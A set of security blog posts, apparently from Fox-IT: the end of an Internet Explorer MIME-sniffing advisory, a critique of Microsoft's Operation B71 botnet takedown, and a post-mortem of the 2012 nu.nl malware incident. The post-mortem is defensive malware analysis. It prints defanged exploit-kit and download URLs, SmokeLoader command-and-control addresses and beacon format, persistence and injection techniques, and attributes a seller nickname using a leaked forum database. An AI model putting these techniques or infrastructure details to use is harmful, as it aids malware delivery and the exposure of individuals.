In my opinion, the default MIME Sniffing behavior of Internet Explorer should not allow for this type of attack. From a security perspective, you do not want MIME Sniffing to overrule the content type that is provided by the server with unsafe content types, in this case text/html. In the same way that image types are no longer vulnerable to this kind of attack, other file types should also be handled in a more secure manner. I have reported this issue to Microsoft, they researched it and engaged in a constructive debate. However, Microsoft ultimately considers this behavior by design. They stated that web applications should safeguard file uploads and web servers can be set to add protective headers to the HTTP response.

Recommendations

As an obvious disclaimer: all changes to web applications, web servers or browsers should be tested before they are used in production. To summarize the primary recommendations per role:

Web developers
Familiarize yourself with the risks of file uploads, implement safeguards and add relevant HTTP headers for uploaded files if necessary.

Web server administrators
Add the X-Content-Type-Options: nosniff header to your web server. This also applies to web servers other then Microsoft IIS.

System administrators and end users
Disable MIME Sniffing in Internet Explorer and/or set the security level to High. For IE9 MIME Sniffing can disabled at the following location:

Internet Options -> Security -> Custom level -> Miscellaneous -> Enable MIME Sniffing -> Disable

Penetration testers
While testing file uploads in web applications, attempt to upload HTML code in files with different extensions and don’t forget to perform these tests using different browsers.

Microsoft
Please change the default MIME Sniffing behavior of Internet Explorer and refrain from handling files as HTML when the web server says otherwise. At least prevent this from happening for most ‘known file types’ and most ‘ambiguous file types’.

References

Post written by Daniel Niggebrugge, Senior Security Expert at Fox-IT.

Critical analysis of Microsoft Operation B71

A little over 2 weeks ago Microsoft announced operation B71. It was being brought as the biggest blow to ZeuS botnets in history, and was picked up in the media globally. A released movie showed Microsoft personnel executing a preliminary injunction in a civil case and seizing a server in Scranton, PA. In their words: “Hopefully this action will disrupt not only one but multiple botnets and allows Microsoft to get visibility into the criminal organization which really runs and develops the ZeuS family of malware”. A spokesperson for FS-ISAC said, “we have sat back and we have taken it, I think we need to go onto the offensive.” Also the former DHS Cyber Chief mentions that for Microsoft and the Financial Industry to combat these types of threats they need to work together. A spokesperson for NACHA mentions that fighting these threats is not as easy as finding individuals or groups that are causing these problems, but that they operate in very intricate networks in a very sophisticated way. Mr. Boscovich from Microsoft adds that they are very technical and very hard to identify and that they are hard to prosecute criminally.

We have some reservations on this whole operation, which in light of the above statements, will become very twisted and will leave you with an uneasy feeling. I suggest reading the entire article, so you can form your own opinion. Microsoft has actually released the affidavits (statements of facts) and accompanying documents on a website reachable at http://www.zeuslegalnotice.com/.

We have waited with publishing this response in anticipation of Microsoft publishing a statement of rectification on their recent operation b71 regarding some of the background on events that took place. This blog post will detail that background to some extent, so that the public knows and also the Microsoft customers and partners in this Operation b71 know what Microsoft did in order to offer their so called protection of their customers.

Seizing servers

So the movie shows that Microsoft seized one server. In total there were two servers seized, one containing an installation of a ZeuS variant named Ice-IX. This is a commercially available kit based off of the leaked source code of the original ZeuS. The other server functioned as a SpyEye controller, which was a Trojan very popular in 2011 but its popularity declined dramatically by the end of 2011 due to lack of updates. Ice-IX is 99.9% the same as the original ZeuS with some small additions and modifications. The last available SpyEye backend code was also freely downloadable from ‘The Internet’, so that is not going to reveal anything new.

If the code on these servers is not interesting what else could they have been looking for? Would Microsoft be able to find something linking to the actual criminals running these two seized servers? Very unlikely, especially with servers like these which are not bulletproof hosted. The criminals know those systems are going to be taken offline sooner or later and might be inspected. So they will leave as little or no information on these systems and also often the logging of the server is disabled, or if it is not, it only contains an IP address of a VPN gateway or Socks proxy that the criminals used to manage the server. All in all, we expect this will not reveal any information … at least not the supposed “visibility into the criminal organization which really runs and develops the ZeuS family of malware” as stated in the released video. One of the botnets was up and running again within 24 hours of the takedown on a brand new c&c server and continued with its business as usual.

Seizing domains

Another thing Microsoft did was seize a large number of domains used by ‘criminals’ for the purpose of pointing the malware on infected systems to the actual IP address of the C&C server. Not only for making communication to those domains impossible, well actually not at all, instead the domains were pointed to nameservers under control of Microsoft on the 24th of March 2012. The nameservers used were NS1 and NS2 at microsoftinternetsafety.net. Among the large set of domain names were old domains (from early 2011), parked, unused, expired and also legitimately used domains. This proves there was little to no verification done on the data by Microsoft or the Judges in this case. Looking for example at the .nl domains (page 14 of Prelim_Inj_Pt4.pdf) we see a number of sites which are just legitimate. Perhaps at some point in time these were used as an update server, redirect server or proxy for C&C traffic. This also directly indicates a lot of mislabeling of domains and their purpose, which as we now know was not just the case for the .nl TLD. For sure Microsoft has a very liberal interpretation of the word dropzone for example.

Now a problem occurred because a lot of the domains were not registered by criminals but by security companies and NGOs, who use these domains to look for communications by infected systems, with the intention of using it as a feed for ISPs and similar organizations to indicate that systems have been compromised with a Trojan. This process is called sinkholing, often this occurs through the registering of backup domains or domains generated by a domain generating algorithm. So these security companies and NGOs lost a part of their domains and thus a part of their intelligence feed, and were also marked as being potentially a contact for the criminals. These mistakes have not been fixed at the time of writing over 2 weeks after the domains have been seized, which can be easily observed as the sinkholed domains are easily recognizable.

An even more interesting part of this paragraph, is actually in the affidavits, linked above. In Debenham_Decl_Part_1.pdf act 113 it is mentioned that regarding the seized domains that are pointed to Microsoft controlled DNS servers, the A record will point to a server that has the following property: “The Microsoft computers are configured to capture only the IP addresses of computers that are attempting to establish contact. They are deliberately configured to break-off the communication before any content is received.”

An interesting statement as this is far from the reality of how it works. A simple test will show that a connection is actually setup completely to at least to port 80, port 443 and port 8080, with a full TCP handshake. This is already more than described above. Then the server will receive data, which includes not only a single packet of data, but multiple. At the end of Microsoft they are actually processing the packet data, seemingly specifically for HTTP formatted data. This means (and yes we tested it) that Microsoft will received the HTTP request with full headers and actually also POST data which will contain sensitive information about the victims, including usernames, email addresses , passwords and personally identifiable information. This definitely indicates that it is different from what was stated in the affidavits.

Statements and facts presented by Microsoft

In the affidavits you can find a great deal of that information that is freely available on the Internet. It is interesting to notice that this is presented as verifiable facts just because it was available on a website or as download. These websites and documents are statements of questionable source and it goes too far to actually go into every detail of each paper, but when I was reading it I found many presented facts which I know to be incorrect. For example one of the included whitepapers states that the latest version at the time of writing in 2010 of the ZeuS Trojan would be version 1.6, which is simply false. The last ZeuS version in the major version 1, is actually 1.3.X.X which was released by the end of 2009 and further updated with fixed in the beginning of 2010. And version 1.4 was actually never really released and not for sale, but was merely the beta version for the 2.0 release which was released in 2010.

Another statement on page 5 of Debenham_Decl_Part_1.pdf it is indicated that ZeuS was first identified in 2007, this is verifiable incorrect and it was researched in 2006 and it was published about in a great write up by Michael Ligh et al. This is another indication of sloppy research done on the end of Microsoft.

On page 2 of Debenham_Decl_Part_1.pdf, act 3, it is stated that ZeuS, Ice-IX and Spyeye can be seen as the same because they incorporate ZeuS code, and are from then on referenced to as “Zeus botnets”. To prove this fact there are appendices that claim to verify this fact, including a reference to a blog posting of the IT Security journalist Brian Krebs. Note that there has been a lot of talk about SpyZeuS and it being the next great threat to the worlds IT infrastructure and online banking in general, but in reality this was all make belief. Obviously SpyEye contains tricks used in ZeuS, obviously SpyEye supports the ZeuS webinjects format, as do a dozen other banking Trojans. Let’s just make a comparison, there is Windows and there is Linux, and both support NTFS, is it now logical to call Linux a Windows variant? No, they are both just an operating system, and SpyEye and ZeuS are both a Trojan.

Also in some of the statements such as the one in Debenham_Decl_Part_1.pdf act 22, you can see that the author writes that the email addresses of domain registrations can be used to contact john doe 1-39. This is a bit off as there has obviously been little to no verification that the domains were related to the unnamed defendants. Actually we are pretty sure they have not done anything like that, they have only supplied a pretty limited list of domains obtained from zeus and spyeye configurations.

Another interesting observation from our end is that in the documents we found no clear references to the usage of exploit kits, which is the main method of infection employed for infecting systems with banking malware. This seems odd and perhaps they did not want to overcomplicate things, or perhaps they wanted to put the focus more directly on the NACHA spam mails which is one of the plaintiffs.

On page 51 of Summons.pdf the actor named “duo” is apparently mislabeled as “D frank”, which is different from the declaration from Debenham.

John doe information

This last part brings us on the most interesting part of this whole write up on operation b71, we were surprised to see the contents of the Summons.pdf and the declaration of Debenham. This includes a lot of information on actors involved within the ZeuS operations, the SpyEye author and individual SpyEye users but also completely unrelated actors. This information includes nicknames, email addresses, icq numbers and jabber addresses.

And when looking at those details we found some interesting details on some of the described john doe’s. The information therein was 100% identical to information we had supplied to a certain mailing list. This mailing list has the restriction that data being shared can only be used with the permission of the person who supplied that data. The information was in exactly the same order and contained exactly the same amount of information on those john does that we and also a friendly information security company had provided. Since the order and amount of information was 100% identical, and the data then also being used out of context and misinterpreted, meant that the person who interpreted it did not have the right background to fully understand the data.

For us this felt as a major blow as we spent a lot of time in getting this kind of information, while a corporate giant like Microsoft is now using this information without reaching out to the persons who supplied that information, for their own marketing and public relation purposes. From our end we can confirm that this information was never supplied for the purposes that Microsoft used it for. This whole action of Microsoft brings a major blow to the entire information sharing between information security companies on mailing lists and working groups.

Closing statements

The actions by Microsoft were thus definitely disruptive, but not so much for the criminals as they can easily setup their botnets again, if they lost any in the first place. The cost of setting up a new botnet for those that might have been disabled is very cheap, for about 10,000 USD you can setup a botnet with about 100,000 systems from a single popular country, which will typically be enough for a quick return on investment. The disruptive effect on the information security industry and the public private partnerships which have emerged is however devastating. The level of trust and the potential losses in effectiveness of information collection is becoming a major issue with information sharing, especially when taking into account these kinds of leaks. What we will see in the near future and also already now is a hesitation of partnering organizations to provide information on what is current, instead only vague information will be shared that is not actionable.

To reference the words of the Former DHS Cyber Chief, that working together, he mentioned, has now become an interesting proposal . Everyone in the industry at least now knows Microsoft is an untrustworthy partner who will go through great lengths to betray those who it works together with and will not claim responsibility for their mistakes. In light of the whole Responsible Disclosure debate from the end of Microsoft this unauthorized and uncoordinated use and publication of information protected under an NDA is obviously troublesome and shows how Microsoft only cares about protecting their own interests.

Also in light of the statement made in the video “how the criminal networks are intricate and how the individuals are hard to identify”, letting them know you are looking for them, and exactly with what information is not really going to help anyone’s objectives apart from that of the criminals themselves. At the same Monday we saw several actors register new accounts and jabber addresses, and reintroduced themselves to their partners in crime. Obviously this will make future attempts to attribute information to a person difficult as now you have to not only attribute actions to a single identity but also link those two or multiple identities together.

When it comes to what the actual harm is, Microsoft has endangered the success of countless ongoing investigations in both the private as the public sector all over the world from east to west. Obviously as most of these folks are located in Russia and Eastern Europe, the cooperation between parties in those regions and in western countries on both public and private sector side has been hurt more than you can expect, and also years of trust building has potentially been lost. It is not so much about this individual investigation but more about the global issue of partnerships between countries and regions and also between the private and public sector. In our discussions with Law Enforcement Officers, private investigators and members of NGOs researching these threats from across the globe we have found nothing but disappointment and disbelief regarding the irresponsible actions executed by Microsoft. Various other researchers have outed their disappointment earlier:
http://countermeasures.trendmicro.eu/dont-be-dumb-keep-schtumm/ and https://twitter.com/#!/sempersecurus/status/184344304788045825

By the end of the Microsoft PR/marketing movie I was laughing out loud and at the same time crying. As if these people actually reside in a country where Microsoft can prosecute them and as if you can actually find them, when you actually have to steal intelligence collected by others in the first place. No, you know who is doing the real laughing now. That are the criminals, who are the ones that really achieved victory over the entire industry by Microsoft’s irresponsible actions.

Summary

To summarize what has happened, Microsoft has publicly announced a takedown of ZeuS, Ice-IX and SpyEye botnets and has listed a large number of domain names which are supposedly involved and attempted to seize all these domain names. The lists of domains were unverified and contained domains which had a legitimate use.

Microsoft’s declaration contained statements which were incorrect and even contain misleading information regarding the invasion of privacy regarding the victims of ZeuS botnets, as their personal information may end up in the hands of Microsoft.
A large amount of information that identify the so called john doe’s for this case, has no apparent source or is not verifiable to any extent in the published information. We know that a large part of this information was sourced from individuals and organizations without their consent, breaking various NDA’s and unspoken rules.

This irresponsible action by Microsoft has led to hampering and even compromising a number of large international investigations in the US, Europe and Asia that we knew of and also helped with. It has also damaged and will continue to damage international relationships between public parties and also private parties. It also sets back cooperation between public and private parties, so called public private partnerships, as sharing will stop or will be definitely less valuable than it used to be for all parties involved.

Advice for the future

This has obviously been a major setback for everyone involved, not only those directly involved but also slowly but surely for those who are fighting the same battle and who are now confronted with this issue. How things should have been done, where do we go from here? Well, the first step is communicating. When you are planning an action you talk about it with as many people you know are going to be affected by the actions you are going to execute. If you need a key piece of evidence supplied by someone else, ask that person if it is possible to use this information without risking their information position. This is not just a thing private parties should learn, but public parties as well.

A second step is sharing, which goes both ways, and sharing is caring. While it is not always possible to share everything, it is definitely worth sharing things, sometimes raw data, sometimes an analysis or for example indicators or advice. Doing this allows people to reach out to one another because they know they can help on a specific topic and this results to a better common understanding of the working topic. It is really not a shame that you have to admit someone else just knows more about a certain topic than you, and if you prove you can handle information without risking each others positions that is a perfect start for a working relationship.

Preventing misuse of the information shared is impossible; the only thing we can rely on is trust within a group, and the repercussions on abusing this trust. In the case of the recent events I can only conclude that it is going to take a long time before Microsoft has regained its trust with the rest of the industry, and it is unfortunately that a few bad apples have now ruined it for everyone else.

Apart from trust there is one more thing, and that is due diligence, there is no other explanation than Microsoft not having done any due diligence in their actions and verification of data and sources in this case. They wanted to have a quick win, they might have gotten their quick win, but in the process sacrificed a lot. The advice is, check where the data is coming from, check it with your sources, get the confirmation that you can use it. Do not proceed until you are sure everyone has agreed and everything has been verified as much as can be possibly expected from you. Listing and seizing sinkholes and legitimate domains should be limited to a few and not dozens as was the case here.

The good thing to note is, information sharing has not completely stopped, people are still exchanging information, but for how long… and what are they not sharing? Only time will tell how this setback will affect us all in the long run.

Michael Sandee, Principal Security Expert at Fox IT

Post mortem report on the sinowal/nu.nl incident

March 14th 2012, another normal day in the office, I looked at my massive to-do list and had planned quite some work for the day. And like every normal day my planning of the day is rudely interrupted by another incident. Our network analysts at the Security Operations Center looked very busy, and they were calling in for help from the Intel department. The SOC was very busy handling many incidents which started exactly from 11:30 CET. We analyzed the network traffic, the exploit kit and the installed Trojans and found it to be common Eastern European/Russian cybercrime components known as Nuclear Pack exploit kit, SmokeLoader and the Sinowal/Torpig/Mebroot Trojan. We contacted SurfRight to inform them this was happening, but fortunately they were already working on it. We had met with SurfRight a week earlier and discussed the problems with the Sinowal MBR infection and the lack of detection and removal in most current cleaning/removal products, they also knew about it and were still working on it. So this was a good time for them to invest some extra time into it, and with success as within a short time they were able to add detection and next day they had the bootkit cleaning functionality ready.

The second step was to investigate which site was responsible for the infection, typically on large websites which have many visitors a day, the infection comes from an advertisement. Possibly through a compromised advertising service redirecting many visitors to an exploit kit. This happened, for example, in August 2011. Interestingly that attack on OpenX ad server software was also used to distribute the Sinowal malware. Another method used is the purchase of legitimate advertisements for a certain country, and after the advertiser has checked the ads to be legitimate, modify the page to forward visitors to an exploit kit, this technique is known as malvertising. Malvertising actually requires money, so often stolen creditcards are used to buff the advertising account credits to allow many clicks before the credit runs out.

So, we started to look at the data we had available, when looking at network traffic it does not add any hints on where the compromise is, as the redirect is added to the DOM of the main page, so the referrer to the exploit kit is actually http://www.nu.nl. Due to the earlier incident in August 2011 I started looking at the downloaded content from the advertisement servers. Some time passed, it is painful work manually puzzling through all the data to find a needle in a haystack. Well, I could not find the source of infection, while our browser sandbox system indicated every hit for nu.nl was causing a redirect to the exploit kit. It started to puzzle me and only one thing remained, looking at the files of the nu.nl website itself, there was nothing which stood out on the main page such as a remote script, iframe or obfuscated javascript. I started to download the various javascript files where one stood out because it had a modification date of exactly 11:30:00 CET.

  HTTP/1.1 200 OK
  Server: Apache
  Vary: Host
  Last-Modified: Wed, 14 Mar 2012 10:30:00 GMT
  Cache-Control: max-age=86400
  Expires: Thu, 15 Mar 2012 10:31:54 GMT
  Content-Type: application/x-javascript
  P3P: policyref="http://www.nu.nl/w3c/p3p.xml", CP="NON DSP COR NID CURa ADMa DEVa PSAa PSDa IVAa IVDa OUR IND UNI COM NAV INT STA"
  Content-Length: 2290
...

Response headers of http://www.nu.nl/files/g.js

The javascript is obfuscated with a simple obfuscator, but when you would look at this manually it would be easy to skip it as javascript files are often packed or compressed to save bandwidth. The file was simple and for us only interesting to see where it would redirect clients, which was interesting as it redirected systems specifically with Windows Vista/7/8 to a separate location in  the Nuclear Pack exploit kit. We were already in contact with nu.nl and forwarded the malicious script location to them and it was deleted soon after. Both the mainpage modification by including g.js and the script were added recently.

<script src=”hxxp://www.nu.nl/files/g.js” type=”text/javascript”></script>

After the file was overwritten with ‘OK’ at 13:23 CET by the nu.nl staff, the site still caused infections in our sandbox, we rechecked the main site and instead of g.js it now contained a link to gs.js.

<script src=”hxxp://www.nu.nl/files/gs.js” type=”text/javascript”></script>

This file was created before at 13:09:10 CET:

HTTP/1.1 200 OK
Server: Apache
Vary: Host
Last-Modified: Wed, 14 Mar 2012 12:09:10 GMT
Cache-Control: max-age=86400
Expires: Thu, 15 Mar 2012 12:27:41 GMT
Content-Type: application/x-javascript
P3P: policyref="http://www.nu.nl/w3c/p3p.xml", CP="NON DSP COR NID CURa ADMa DEVa PSAa PSDa IVAa IVDa OUR IND UNI COM NAV INT STA"
Content-Length: 2127
...

Response headers of http://www.nu.nl/files/gs.js

We informed the nu.nl staff of this change and at 13:42 CET the gs.js file was overwritten with ‘OK’ by the nu.nl staff. At this time we experienced no infections in our browser sandbox.

The amount of visitors to nu.nl around lunch time on a work day are of course huge, especially from corporate networks. The amount of alerts our Security Operations Center staff was getting combined with how effective the exploit for java typically is, with around one in eight visitors being infected, a little over 12%, led us to believe this was a huge incident and we scaled up our research efforts. At some networks there were hundreds of successful infections which, comparing to the previously referenced incident in August 2011, was of a completely different scale. Also the relative low profile presence of the exploit kit named Nuclear Pack, the use of newly setup hosts and URLs and the use of blocking of visitors outside of NL, which all results in less effective blocking by security products, such as blacklisting. Our educated estimation based on the amount of infections of previous incidents of similar scales makes it very plausible that the amount of infections is 100.000 or more, we found no hints that the related server hosting the exploit kit and C&C for SmokeLoader was overloaded, so that was not a factor that played any role during this infection campaign.

The exact time of publishing the initial g.js might indicate that there might have been a task for publishing introduced in the CMS system, which further increases the likelihood that this was a well planned attack. We suspect this because the exploit kit, the executables and the smokeloader C&C server were all created for the purpose of infecting visitors of nu.nl. The domains, urls and server were not blacklisted during the attack and the 2 smokeloader executables were virgin crypted and were not detected by any anti-virus product that we used to analyze the binary. Even 9 hours after the smokeloader Trojan executables were in the wild, the executables were not recognized by the majority of anti-virus products as can be seen at:

https://www.virustotal.com/file/e625fdb49695886ee2781d6e2c3755f7fc8c9c56ca208bdd14e51f11466abe10/analysis/1331756363/

https://www.virustotal.com/file/c667f39573b4bbd10aa26e841a9dda3ab0407de12606e9a58e16fc9427ce7dc1/analysis/1331756265/

The exploit kits were located at the following URLs:

Windows Vista/7/8 systems were redirected to:

hxxp://svitart .in/index.php?adaebb3f91ea88ba4bc624b6625e5d52
hxxp://svitchudes .in/index.php?9a41e20f564247648add4e6f1ec18e65

Windows XP and other systems were redirected to:

hxxp://accbud .in/index.php?4cfcb816db07831247fe5e2db2878634
hxxp://accent6 .in/index.php?0acb5dbb36f93141b027d416261af42e

A successfully exploited system through one of the three vulnerabilities will download and execute the following url:

/server_privileges.php?<random>=<digit>

An example:

/server_privileges.php?36d3677b09fc971f6d37ac96b1d2cf56=3

This will load files from the system which are located on:

hxxp://accent6 .in/files/load1.exe (for Windows XP and earlier systems)
hxxp://accent6 .in/files/load2.exe (for Windows Vista/7/8 systems)

Both files, load1.exe and load2.exe were uploaded on the exploit kit server at 09:26 CET on the 14th of March 2012.

The IP addresses used for these exploit kits were 188.95.50.55, 188.95.50.56, 188.95.50.57 and 188.95.50.58 which were hosted in The Netherlands at serverboost.nl, and not in India as indicated by other publications. We provided the domains and the IP addresses to Spamhaus and also contacted serverboost.nl directly. Thanks to the quick work of Spamhaus, within a short time the exploit kit domains and the active and backup domain for the smokeloader bot were taken offline, and soon after the server itself was also taken offline which made the SmokeLoader botnet defunct, even if there were cached DNS entries. While the systems were still infected, the botnet was no longer under the control of the attacker.

The SmokeLoader Trojan is a resident downloader Trojan which has become more and more popular amongst cybercriminals since the end of 2011. Its basic purpose is to make sure the system remains infected and can be used to infect the system with other malware, other malware in the market are for example DLoader2010, MyLoader and Bredolab. This version was slightly different than previous versions we analyzed.

The Trojan main body is executed in a different way than most similar trojans, it creates a suspended svchost.exe using CreateProcessInternalA and not CreateProcessA, this is used to bypass userland hooking code used in some sandboxes, it creates a section in the current process, copies the Trojan body to it, and maps this section from the remote process. The Trojan body is a position independent block of code and data and not a full MZ executable. So it does not inject a complete decrypted Trojan executable in the remote process, but only the Trojan executable body which was also done similarly in the DLoader2010 malware family. It does not overwrite the existing svchost.exe binary completely in memory, but maps only the Trojan body in the suspended svchost.exe process and overwrites the entry point of the svchost.exe binary in memory with a push ret combination that pushes the location of the mapped Trojan body to the stack which causes the next return instruction to divert to the Trojan code block. The Trojan body decrypts itself and resolves its own imports.

The Trojan copies itself to the Application Data folder (Windows XP/2000) or AppData\Roaming folder (Windows Vista/7), and uses a filename based on the pVolumeSerialNumber, which it will xor with 0x6454263F and the last 6 characters of the result are used as the filename with appended .exe. To make sure the Trojan starts on boot It will create a registry entry pointing to the copied executable in:

HKEY CURRENT USER
Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
Stardock

The Trojan monitors this startup key and when it is deleted, it will add it again, using a watchdog thread. The Trojan code also keeps a file handle open to the executable to make it more difficult to remove.

This variant of SmokeLoader connected to the following urls for command and control traffic:

hxxp://prolesok .in /sml/index.php
hxxp://accedoproductmd .in /sml/index.php

The sent traffic is encrypted with xor and encoded by base64, but the downloaded binary is sent in plain over the wire. The decrypted traffic looks like the following:

cmd=getload&login=<botid>&sel=PiuPi&ver=5.1&bits=0&file=0&run=ok

The botid is calculated from the md5 of the computername with concatenated the pVolumeSerialNumber xor 0x6454263F, resulting in a 40byte string, which is used on the serverside to distinguish bots, which is stored in the cname column in the database, which is the unique key for the bot.

Extract from SmokeLoader database schema:

CREATE TABLE `bots` (
 `id` int(11) NOT NULL auto_increment,
 ...
`cname` varchar(80) NOT NULL,
...
`seller` varchar(5) NOT NULL,
 ...
PRIMARY KEY  (`id`),
 UNIQUE KEY `cname` (`cname`)
 ) ENGINE=MyISAM  DEFAULT CHARSET=cp1251 AUTO_INCREMENT=1;"

Extract from SmokeLoader PHP code:

mysql_query("INSERT INTO `bots` (`id`, `ip`, `os`, `country`, `time`, `cname`, `work`, `seller`, `bits`)
VALUES ('', '".$ip."', '".$os."', '".$country."', '".time()."', '".$login."', '1', '".$sel."', '".$bits."')
ON DUPLICATE KEY UPDATE time=".time().";");

Interesting is that the sel= parameter is the seller id which comes from the common use of having varying infection sources, in case you distribute your SmokeLoader binary via different methods or pay per install providers you can distinguish the number of loads of the SmokeLoader binary. In this case the seller nickname is ‘PiuPi’, which is embedded in the SmokeLoader binary, as you can see in the above database scheme the seller id is only five characters long. Interestingly the five characters match a user on AntiChat, a Russian language underground forum, which was compromised and its database leaked a few years ago. The full nickname is `piupiupo’ using a Yandex email address, a Russian free mail provider, and from the database leak we can see that in 2010 he logged in from a Russian IP address located in Moscow, which belongs to a consumer ISP.

Now comes the interesting part, the SmokeLoader C&C server distributed Sinowal, which has been around for a good 6 years now and has been active in The Netherlands from time to time since 2007. The SmokeLoader distributed a component known as ‘miniloader’, which downloads the installer component from the Sinowal installer server. On Windows 2000 and Windows XP it will install the MBR bootkit, which is used since the end of 2007 as the method of startup, which is also commonly referred to as Mebroot. Only a few security products are able to detect this modified MBR from a running system and even less are able to actually clean it. HitmanPro from SurfRight and Tdsskiller from Kaspersky are two products that were confirmed to remove the bootkit component on Windows 2000 and Windows XP systems. On Windows Vista and Seven systems the threat would install a userland component but we have not verified this during the nu.nl compromise.

We have investigated a couple hundred infections on corporate networks, but one odd thing appeared, the Trojan did appear to be malfunctioning, from all the infections we investigated, only one infection actually connected to the Sinowal command and control infrastructure that would indicate a successful infection. We are not sure why this happens and are unable to verify the reason for this. We have heard the same story from other researchers in the field and are not able to verify why this happens, but time will tell…

Michael Sandee et al

Principal Security Expert